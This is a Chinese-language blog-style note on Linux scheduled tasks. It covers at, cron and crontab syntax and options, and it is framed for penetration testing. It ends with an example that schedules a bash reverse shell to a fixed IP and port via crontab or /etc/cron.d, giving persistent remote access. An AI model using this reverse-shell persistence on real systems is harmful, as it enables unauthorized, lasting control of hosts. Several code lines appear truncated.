Linux中的定时任务
主要是为了在Linux中进行一些定时操作,定时任务在平时见到的挖矿中比较多,在渗透中定时任务可以用在反弹shell,在这里记录放在再被网上的坑爹文章误导了
计划任务主要分为定时型的还有突发性的
定时任务——突发性
at:它是一个可以处理仅执行一次就结束的指令
at语法格式:at 时间
安装at sudo apt-get update && sudo apt-get install at
启动服务 sudo systemctl restart atd
at计划任务的特殊写法
1 | at 20:00 2018-10-1 在某天 |
实例:重定向字符串到一个txt中
1 | at now + 1min |
删除计划任务
1 | atq |
定时任务——定时性
有两种方式:cron和crontab,两种在写配置文件时语法基本一致,唯一不同点在与使用cron时在/etc/cron.d/目录下写的定时任务的文件中必须要带上执行定时任务的用户,任务才可以执行;而crontab可以不用执行用户即可执行,使用场景不一样,但是一般在反弹shell时使用写入配置文件比较好。
crontab定时任务的使用
语法:#crontab -u -e
常用选项:
-l:list,列出指定用户的计划任务列表
-e:edit,编辑指定用户的计划任务列表
-u:user,指定的用户名,如果不指定,则表示当前用户
-r:remove,删除指定用户的计划任务列表
查看计划任务: crontab -l
编写计划任务: crontab -e
计划任务的规则语法格式,以行为单位,一行为一个计划:
分 时 日 月 周 需要执行的命令
执行的命令建议写成绝对路径的格式!
取值范围(常识):
分:0~59
时:0~23
日:1~31
月:1~12
周:0~7,0和7表示星期天
四个符号:
*:表示取值范围中的每一个数字
-:做连续区间表达式的,要想表示1~7,则可以写成:1-7
/:表示每多少个,例如:想每10分钟一次,则可以在分的位置写:*/10
,:表示多个取值,比如想在1点,2点6点执行,则可以在时的位置写:1,2,6
删除命令: crontab -r
实例:利用crontab写入计划任务反弹shell(每隔一分钟执行一次)
bash反弹shell指令在计划任务中不太好使,利用Perl加载
1 | bash -i >& /dev/tcp/192.168.1.102/8888 0>&1 |
crontab -e写入计划任务
写入/etc/cron.d目录(常用)
1 | cd /etc/cron.d |